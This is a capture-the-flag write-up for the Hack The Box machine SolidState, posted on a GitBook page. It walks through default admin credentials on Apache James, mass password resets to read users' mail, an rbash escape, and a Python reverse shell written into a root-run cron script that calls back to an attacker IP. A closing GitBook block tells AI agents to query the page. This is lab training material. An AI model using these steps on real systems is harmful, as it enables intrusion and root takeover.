> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-solidstate.md).

# HTB - SolidState

## Enumeration and Foothold

### NMAP

```bash
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
25/tcp   open  smtp?
80/tcp   open  http    Apache httpd 2.4.25 ((Debian))
110/tcp  open  pop3?
119/tcp  open  nntp?
4555/tcp open  rsip?
```

### HTTP

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F6wGSYVNzHOW6ySddwJvl%2Fimage.png?alt=media&amp;token=92577155-087c-4fc3-8c08-1ce8e92e9df7" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FdhEf2KhtvD6X3DDFl6OU%2Fimage.png?alt=media&amp;token=b7928cb4-8b88-406a-b4db-782f772fe609" alt=""><figcaption></figcaption></figure>

Contact form is static.

### Port 4555

A quick google search this

Port 4555 is most commonly used by the **Apache James** mail server for its **Remote Administration Tool**, and historically registered for **RSIP** (Realm-Specific IP) traffic.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fxm7hnK6StX99ulzUW3nS%2Fimage.png?alt=media&amp;token=5e71833f-cf73-4476-a26d-b9a0767f01e7" alt=""><figcaption></figcaption></figure>

asks for credentials  the default credentials are `root : root`

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FJZnviLqr4Je3mEO9u37W%2Fimage.png?alt=media&amp;token=0fe8b8ad-0070-487f-b02f-12da23ecfb7e" alt=""><figcaption></figcaption></figure>

login succeeded.

```bash
listusers
Existing accounts 6
user: james
user: ../../../../../../../../etc/bash_completion.d
user: thomas
user: john
user: mindy
user: mailadmin
```

using root we try setting passwords.

mail admin seems interesting i will try setting his password.

```bash
setpassword mailadmin mail
Password for mailadmin reset
setpassword mindy mindy
Password for mindy reset
setpassword john john
Password for john reset
setpassword thomas thomas
Password for thomas reset
setpassword james james
Password for james reset
```

using these creds i will try logging through SMTP or POP3

### POP3

Connect to the POP3 service for each user and retrieve emails.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FqkHjY0W663b41hlszfQf%2Fimage.png?alt=media&amp;token=094a5fa8-a715-4187-b4ee-c0d30cac181f" alt=""><figcaption></figcaption></figure>

i can try reading those mails

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FGlKI6H0gXqySZzO6U72I%2Fimage.png?alt=media&amp;token=af16ef71-2ad8-491a-ad51-78f63dfabf2d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fo0JF7d5mQ3jDz07y6aEu%2Fimage.png?alt=media&amp;token=fd845493-ff0a-4236-8e98-640e611de062" alt=""><figcaption></figcaption></figure>

got the credentials of mindy in the second mail.

## Shell as Mindy

```
username: mindy
pass: P@55W0rd1!2@
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FQu9ILy71MwaaoB8Q85vx%2Fimage.png?alt=media&amp;token=b2b4b95e-2577-44f9-9cfa-7af563ad754a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fpr2yXdyJWqA5Eb3IjlDU%2Fimage.png?alt=media&amp;token=e28311f4-3727-4162-afb8-d6e08b300c37" alt=""><figcaption></figcaption></figure>

the shell is a rbash shell i can try escaping it.

#### Escaping RBash Shell

```bash
┌──(ajay㉿kali)-[~]
└─$ ssh mindy@10.129.68.52 -t "bash --noprofile"
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
mindy@10.129.68.52's password: 
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ 
```

```bash
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ cd /opt
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ ls
james-2.3.2  tmp.py
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ ls -la
total 16
drwxr-xr-x  3 root root 4096 Aug 22  2017 .
drwxr-xr-x 22 root root 4096 May 27  2022 ..
drwxr-xr-x 11 root root 4096 Apr 26  2021 james-2.3.2
-rwxrwxrwx  1 root root  105 Aug 22  2017 tmp.py
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ 
```

opt has a `tmp.py` file that is writeable by everyone and is executed by root i guess.

```bash
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ cat tmp.py
#!/usr/bin/env python
import os
import sys
try:
     os.system('rm -r /tmp/* ')
except:
     sys.exit()

${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ 
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FfRcsavCrv0vF9mKRDngz%2Fimage.png?alt=media&amp;token=1f980a83-6317-4f74-b167-f196d2ee757a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FYX0tG2aXJZpVFteBmqZl%2Fimage.png?alt=media&amp;token=c00cfc1d-6f23-41c6-bb46-e5487fefee61" alt=""><figcaption></figcaption></figure>

root running the script every three minutes

that said i will modify the script to get reverse shell.

```bash
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ cat tmp.py
#!/usr/bin/env python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.49", 5555))  # CHANGE THIS TO YOUR KALI IP
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
```

wait for 3 minutes and we get shell as root

## Shell as Root

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F89u4AiDSnHvat2t84tS4%2Fimage.png?alt=media&amp;token=d15eb328-909f-45e7-88ab-0c90987aedbb" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-solidstate.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
